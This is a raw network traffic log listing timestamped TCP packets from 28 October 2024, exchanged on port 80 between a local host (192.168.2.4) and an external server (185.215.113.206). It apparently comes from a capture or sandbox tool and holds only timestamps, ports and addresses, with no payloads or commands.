Oct 28, 2024 06:27:06.568516016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.568540096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.568576097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.568610907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.568612099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.568634987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.568648100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.568654060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.568698883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.568937063 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.568988085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.569001913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.569051027 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.569053888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.569089890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.569117069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.569125891 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.569134951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.569161892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.569175005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.569206953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.569611073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.569658995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.569664955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.569677114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.569694996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.569700003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.569713116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.569735050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.569751024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.569797993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.601037979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.601114988 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.601152897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.601187944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.601222038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.601258039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.601289034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.601293087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.601329088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.601346970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.601361036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.601365089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.601402998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.601402998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.601437092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.601452112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.601524115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.601577044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.601578951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.601612091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.601619005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.601646900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.601671934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.601680994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.601695061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.601718903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.601731062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.601771116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.602061033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.602092981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.602114916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.602150917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.626494884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.626602888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.686846018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.686885118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.686919928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.687025070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.687025070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.687025070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.687060118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.687092066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.687094927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.687119007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.687130928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.687138081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.687166929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.687176943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.687201977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.687211990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.687241077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.687248945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.687271118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.687299967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.687410116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.687738895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.687791109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.687824965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.687859058 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.687864065 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.687895060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.687903881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.687979937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.688196898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.688247919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.688247919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.688285112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.688313961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.688318014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.688345909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.688354015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.688365936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.688390017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.688422918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.688443899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.688764095 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.688797951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.688821077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.688832998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.688843966 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.688879967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.719911098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.719988108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.720021963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.720041037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.720042944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.720078945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.720099926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.720118046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.720129013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.720150948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.720185995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.720200062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.720200062 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.720230103 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.720238924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.720273018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.720304012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.720308065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.720321894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.720422983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.720433950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.720460892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.720473051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.720494986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.720523119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.720532894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.720541954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.720588923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.720690012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.720738888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.720745087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.720781088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.720794916 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.720815897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.720829010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.720856905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.721072912 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.721127033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.721131086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.721172094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.721179008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.721213102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.721225977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.721257925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.805908918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.805933952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.805949926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.805967093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.805984020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.805985928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.805999994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.806019068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.806054115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.806054115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.806082964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.806269884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.806317091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.806371927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.806405067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.806420088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.806458950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.806484938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.806495905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.806503057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.806530952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.806540012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.806566000 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.806574106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.806601048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.806607962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.806644917 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.807034969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.807070971 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.807081938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.807106018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.807115078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.807157040 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.807158947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.807193995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.807203054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.807229042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.807255983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.807262897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.807276964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.807296991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.807308912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.807349920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.807358027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.807406902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.807856083 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.807907104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.838489056 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.838515043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.838540077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.838557005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.838572979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.838591099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.838609934 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.838650942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.838890076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.838926077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.838944912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.838960886 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.838970900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.838998079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.839138985 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.839173079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.839183092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.839209080 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.839221001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.839242935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.839251995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.839277983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.839279890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.839327097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.839334011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.839381933 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.839705944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.839750051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.839761972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.839796066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.839806080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.839829922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.839835882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.839868069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.840116978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.840157032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.840167999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.840202093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.840209007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.840235949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.840240955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.840281010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.925100088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.925126076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.925143003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.925160885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.925179005 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.925187111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.925204992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.925223112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.925239086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.925249100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.925249100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.925250053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.925273895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.925286055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.925309896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.925327063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.925345898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.925354958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.925384045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.925401926 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.925427914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.925802946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.925856113 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.925862074 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.925889969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.925896883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.925925016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.925957918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.925964117 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.925980091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.925998926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.926014900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.926090002 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.926110983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.926126003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.926152945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.926165104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.926171064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.926209927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.926671982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.926706076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.926731110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.926740885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.926774979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.926790953 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.957384109 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.957439899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.957473040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.957477093 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.957504034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.957506895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.957530022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.957542896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.957551956 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.957576990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.957592010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.957616091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.957617998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.957647085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.957660913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.957684040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.957686901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.957736015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.957737923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.957813978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.957824945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.957869053 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.957884073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.957916975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.957933903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.957952976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.957961082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.958009958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.958213091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.958245993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.958260059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.958280087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.958302975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.958314896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.958322048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.958359003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.958550930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.958596945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.958659887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.958707094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.958709955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.958744049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.958758116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.958776951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.958806992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.958812952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.958823919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.958857059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:06.959187984 CET	80	49730	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:06.959238052 CET	80	49730	185.215.113.206	192.168.2.4
